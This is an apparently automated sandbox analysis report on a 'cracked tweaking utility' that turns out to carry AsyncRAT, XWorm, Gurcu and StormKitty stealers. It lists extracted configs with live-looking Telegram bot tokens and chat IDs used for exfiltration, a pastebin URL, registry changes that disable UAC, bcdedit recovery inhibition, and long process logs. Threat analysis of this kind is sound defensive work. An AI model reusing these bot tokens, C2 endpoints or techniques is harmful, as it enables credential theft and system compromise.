asyncrat | 6bba081474e42a3ce8713a0619664e069ba15e271d28cc134009af3f53c7bdd1

Resubmissions

21-11-2024 23:47

241121-3tapdaznbs 8

21-11-2024 23:21

241121-3cam2swrek 3

21-11-2024 21:39

241121-1hkn4axrfy 10

Analysis

max time kernel
1020s
max time network
1022s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
21-11-2024 21:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

EXM_Premium_Tweaking_Utility_1.0_Cracked.html
Size

469B
MD5

8c1a6acb0cf4efaea77c25de80dad5d6
SHA1

28a858f732ce50193e5c24b3c26f8ac59957f078
SHA256

6bba081474e42a3ce8713a0619664e069ba15e271d28cc134009af3f53c7bdd1
SHA512

84ef0ba97c9a4f7a48016905a816b5cd83ad4e862eb20cac2b8e82ef42ecdc54f40aa485ae8fccf6b96bbb0ec890ffac0fbb0bf8289389d6b77ca2469d29c7bd

Score

10^/10

asyncrat gurcu stormkitty xworm default discovery evasion execution persistence privilege_escalation pyinstaller ransomware rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%LocalAppData%
install_file
USB.exe
pastebin_url
https://pastebin.com/raw/ZnhxAV6a
telegram
https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

gurcu

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendDocument?chat_id=754191788

https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=109642586

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\msedge.exe	family_xworm
behavioral1/memory/6004-542-0x0000000000EA0000-0x0000000000ECA000-memory.dmp	family_xworm

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\svchost.exe	family_stormkitty
behavioral1/memory/5848-547-0x0000000000300000-0x000000000033E000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\svchost.exe	family_asyncrat

Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs

ransomware evasion

Inhibit System Recovery

T1490

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
5248	bcdedit.exe
5632	bcdedit.exe
5520	bcdedit.exe
5956	bcdedit.exe
5040	bcdedit.exe
980	bcdedit.exe
5664	bcdedit.exe
3064	bcdedit.exe
5724	bcdedit.exe
5372	bcdedit.exe
3692	bcdedit.exe
5564	bcdedit.exe
4388	bcdedit.exe
5872	bcdedit.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXMservice.exemsedge.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000\Control Panel\International\Geo\Nation	EXMservice.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000\Control Panel\International\Geo\Nation	msedge.exe

Drops startup file 2 IoCs

Processes:

msedge.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 23 IoCs

Processes:

EXMservice.exemsedge.exesvchost.exemsedge.exemsedge.exeFortniteSettings.exeFortniteSettings.exemsedge.exemsedge.exemsedge.exeFortniteSettings.exeFortniteSettings.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exe

pid	process
644	EXMservice.exe
6004	msedge.exe
5848	svchost.exe
5280	msedge.exe
5336	msedge.exe
2244	FortniteSettings.exe
3340	FortniteSettings.exe
4268	msedge.exe
3528	msedge.exe
5988	msedge.exe
2880	FortniteSettings.exe
6336	FortniteSettings.exe
6524	msedge.exe
6752	msedge.exe
3932	msedge.exe
4516	msedge.exe
5996	msedge.exe
1476	msedge.exe
5312	msedge.exe
5916	msedge.exe
2724	msedge.exe
5544	msedge.exe
5044	msedge.exe

Loads dropped DLL 30 IoCs

Processes:

FortniteSettings.exeFortniteSettings.exe

pid	process
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
3340	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe
6336	FortniteSettings.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 4 IoCs

Processes:

svchost.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\29ccd8ab9f4cfbe524edc3d0d7b48ba1\Admin@UIJZGLAR_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\29ccd8ab9f4cfbe524edc3d0d7b48ba1\Admin@UIJZGLAR_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\29ccd8ab9f4cfbe524edc3d0d7b48ba1\Admin@UIJZGLAR_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\29ccd8ab9f4cfbe524edc3d0d7b48ba1\Admin@UIJZGLAR_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

164 pastebin.com
165 pastebin.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

174 icanhazip.com
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

flow	ioc
164	pastebin.com
165	pastebin.com

flow	ioc
174	icanhazip.com

Drops file in Program Files directory 2 IoCs

Processes:

setup.exe

description	ioc	process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\2cdf02b5-1638-4a42-be59-975c3ef3d80d.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20241121213938.pma	setup.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

5616 powershell.exe
5720 powershell.exe

pid	process
5616	powershell.exe
5720	powershell.exe

Detects Pyinstaller 1 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\exm\FortniteSettings\FortniteSettings.exe	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

netsh.execmd.exechcp.comnetsh.exesvchost.execmd.exechcp.comfindstr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXE

pid process

5812 PING.EXE
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

cmd.exenetsh.exe

pid process

5884 cmd.exe
5304 netsh.exe

pid	process
5812	PING.EXE

pid	process
5884	cmd.exe
5304	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe

Delays execution with timeout.exe 25 IoCs

evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid	process
1936	timeout.exe
5984	timeout.exe
3080	timeout.exe
5128	timeout.exe
5440	timeout.exe
5020	timeout.exe
5480	timeout.exe
5760	timeout.exe
5604	timeout.exe
1844	timeout.exe
5836	timeout.exe
5772	timeout.exe
5932	timeout.exe
5464	timeout.exe
2120	timeout.exe
4604	timeout.exe
5328	timeout.exe
3768	timeout.exe
6072	timeout.exe
1788	timeout.exe
5448	timeout.exe
5184	timeout.exe
3664	timeout.exe
1712	timeout.exe
4692	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 8 IoCs

Processes:

reg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Control Panel\Keyboard	reg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Keyboard\InitialKeyboardIndicators = "2147483650"	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Control Panel\Keyboard	reg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Keyboard\InitialKeyboardIndicators = "2"	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Control Panel\Keyboard	reg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Keyboard\KeyboardDelay = "0"	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Control Panel\Keyboard	reg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Keyboard\KeyboardSpeed = "31"	reg.exe

Modifies registry class 11 IoCs

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software\Microsoft\Windows	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\Theme = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings\Software\Microsoft	reg.exe

NTFS ADS 2 IoCs

Processes:

msedge.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 339347.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 436025.crdownload:SmartScreen	msedge.exe

Opens file in notepad (likely ransom note) 2 IoCs
ransomware

Processes:

NOTEPAD.EXENOTEPAD.EXE

pid process

5984 NOTEPAD.EXE
1232 NOTEPAD.EXE
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5812 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

5628 schtasks.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

msedge.exe

pid process

6004 msedge.exe

pid	process
5984	NOTEPAD.EXE
1232	NOTEPAD.EXE

pid	process
5812	PING.EXE

pid	process
5628	schtasks.exe

pid	process
6004	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exepowershell.exeWMIC.exepowershell.exesvchost.exemsedge.exe

pid	process
952	msedge.exe
952	msedge.exe
4552	msedge.exe
4552	msedge.exe
2112	msedge.exe
2112	msedge.exe
5020	identity_helper.exe
5020	identity_helper.exe
5492	msedge.exe
5492	msedge.exe
5792	msedge.exe
5792	msedge.exe
5616	powershell.exe
5616	powershell.exe
5616	powershell.exe
5844	WMIC.exe
5844	WMIC.exe
5844	WMIC.exe
5844	WMIC.exe
5720	powershell.exe
5720	powershell.exe
5720	powershell.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
5848	svchost.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
5848	svchost.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe
6004	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

msedge.exe

pid process

6004 msedge.exe

pid	process
6004	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 24 IoCs

Processes:

msedge.exe

pid	process
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeWMIC.exepowershell.exemsedge.exesvchost.exemsedge.exemsedge.exeFortniteSettings.exemsedge.exemsedge.exemsedge.exeFortniteSettings.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exe

description	pid	process
Token: SeDebugPrivilege	5616	powershell.exe
Token: SeIncreaseQuotaPrivilege	5844	WMIC.exe
Token: SeSecurityPrivilege	5844	WMIC.exe
Token: SeTakeOwnershipPrivilege	5844	WMIC.exe
Token: SeLoadDriverPrivilege	5844	WMIC.exe
Token: SeSystemProfilePrivilege	5844	WMIC.exe
Token: SeSystemtimePrivilege	5844	WMIC.exe
Token: SeProfSingleProcessPrivilege	5844	WMIC.exe
Token: SeIncBasePriorityPrivilege	5844	WMIC.exe
Token: SeCreatePagefilePrivilege	5844	WMIC.exe
Token: SeBackupPrivilege	5844	WMIC.exe
Token: SeRestorePrivilege	5844	WMIC.exe
Token: SeShutdownPrivilege	5844	WMIC.exe
Token: SeDebugPrivilege	5844	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5844	WMIC.exe
Token: SeRemoteShutdownPrivilege	5844	WMIC.exe
Token: SeUndockPrivilege	5844	WMIC.exe
Token: SeManageVolumePrivilege	5844	WMIC.exe
Token: 33	5844	WMIC.exe
Token: 34	5844	WMIC.exe
Token: 35	5844	WMIC.exe
Token: 36	5844	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5844	WMIC.exe
Token: SeSecurityPrivilege	5844	WMIC.exe
Token: SeTakeOwnershipPrivilege	5844	WMIC.exe
Token: SeLoadDriverPrivilege	5844	WMIC.exe
Token: SeSystemProfilePrivilege	5844	WMIC.exe
Token: SeSystemtimePrivilege	5844	WMIC.exe
Token: SeProfSingleProcessPrivilege	5844	WMIC.exe
Token: SeIncBasePriorityPrivilege	5844	WMIC.exe
Token: SeCreatePagefilePrivilege	5844	WMIC.exe
Token: SeBackupPrivilege	5844	WMIC.exe
Token: SeRestorePrivilege	5844	WMIC.exe
Token: SeShutdownPrivilege	5844	WMIC.exe
Token: SeDebugPrivilege	5844	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5844	WMIC.exe
Token: SeRemoteShutdownPrivilege	5844	WMIC.exe
Token: SeUndockPrivilege	5844	WMIC.exe
Token: SeManageVolumePrivilege	5844	WMIC.exe
Token: 33	5844	WMIC.exe
Token: 34	5844	WMIC.exe
Token: 35	5844	WMIC.exe
Token: 36	5844	WMIC.exe
Token: SeDebugPrivilege	5720	powershell.exe
Token: SeDebugPrivilege	6004	msedge.exe
Token: SeDebugPrivilege	5848	svchost.exe
Token: SeDebugPrivilege	6004	msedge.exe
Token: SeDebugPrivilege	5280	msedge.exe
Token: SeDebugPrivilege	5336	msedge.exe
Token: SeDebugPrivilege	3340	FortniteSettings.exe
Token: SeDebugPrivilege	4268	msedge.exe
Token: SeDebugPrivilege	3528	msedge.exe
Token: SeDebugPrivilege	5988	msedge.exe
Token: SeDebugPrivilege	6336	FortniteSettings.exe
Token: SeDebugPrivilege	6524	msedge.exe
Token: SeDebugPrivilege	6752	msedge.exe
Token: SeDebugPrivilege	3932	msedge.exe
Token: SeDebugPrivilege	4516	msedge.exe
Token: SeDebugPrivilege	5996	msedge.exe
Token: SeDebugPrivilege	1476	msedge.exe
Token: SeDebugPrivilege	5312	msedge.exe
Token: SeDebugPrivilege	5916	msedge.exe
Token: SeDebugPrivilege	2724	msedge.exe
Token: SeDebugPrivilege	5544	msedge.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exe

pid	process
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

msedge.exe

pid	process
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msedge.exe

pid process

6004 msedge.exe

pid	process
6004	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 4552 wrote to memory of 4508	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4508	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1152	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 952	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 952	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
